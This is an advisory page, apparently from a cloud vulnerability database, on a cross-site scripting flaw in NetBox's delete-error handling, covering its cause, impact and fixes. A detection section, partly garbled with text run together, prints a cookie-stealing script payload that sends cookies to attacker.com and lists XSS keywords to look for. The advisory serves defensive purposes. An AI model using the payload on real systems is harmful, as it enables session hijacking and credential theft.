
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2025-69848 is a reflected cross-site scripting (XSS) vulnerability in NetBox, an open-source infrastructure resource modeling and IP address management platform. The flaw exists in the ProtectedError handling logic, where object names are included in HTML error messages without proper HTML escaping, allowing user-controlled content to be rendered in the web interface. It affects NetBox versions 2.11.0 through 3.7.8 (inclusive). The vulnerability was published on February 3, 2026, and carries a CVSS v3.1 base score of 5.4 (Medium) (Feedly, GitHub NetBox).
The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). When a delete operation on a NetBox object fails due to protected relationships, the application generates an error message that includes the object's name directly in the HTML response without sanitization or escaping. An authenticated attacker with low privileges can create an object whose name contains malicious JavaScript; when a privileged user attempts to delete that object and triggers the ProtectedError, the injected script executes in the victim's browser context. The attack vector is network-based, requires low privileges, and requires user interaction (a privileged user triggering the delete operation) (Feedly).
Successful exploitation allows an attacker to execute arbitrary client-side JavaScript in the browser session of a privileged NetBox user, enabling session hijacking, credential theft, and unauthorized actions performed on behalf of the victim. Because the injected code runs in the context of a privileged user, an attacker could potentially escalate their effective access within the NetBox application, modify infrastructure records, or exfiltrate sensitive network topology and IP address management data. Confidentiality and integrity are both impacted at a low level per the CVSS scoring, with no direct availability impact (Feedly).
A proof-of-concept exploit is publicly available on GitHub (PoC GitHub), added to tracking on March 2, 2026. There is no evidence of active in-the-wild exploitation at this time, and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The EPSS score is approximately 0.024%, reflecting a low probability of exploitation in the near term (Feedly).
<script>document.location='https://attacker.com/steal?c='+document.cookie</script> or a similar XSS string./dcim/devices/<id>/delete/) that return ProtectedError pages; look for object names containing HTML special characters (<, >, ", ', /) or JavaScript keywords (script, onerror, onload, alert, document.cookie).%<script%, %javascript:%, or %onerror%.Upgrade NetBox to a version beyond 3.7.8 that includes the fix for this vulnerability; the NetBox project has released versions up to v4.6.2 as of June 2026 (GitHub NetBox). Until patching is possible, restrict delete operation permissions to only the minimum necessary administrative users to reduce the attack surface. Additionally, implement a strict Content Security Policy (CSP) header on the NetBox web interface to limit the impact of any XSS execution, and monitor web access logs for delete operations that trigger ProtectedError responses containing suspicious object names (Feedly).
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."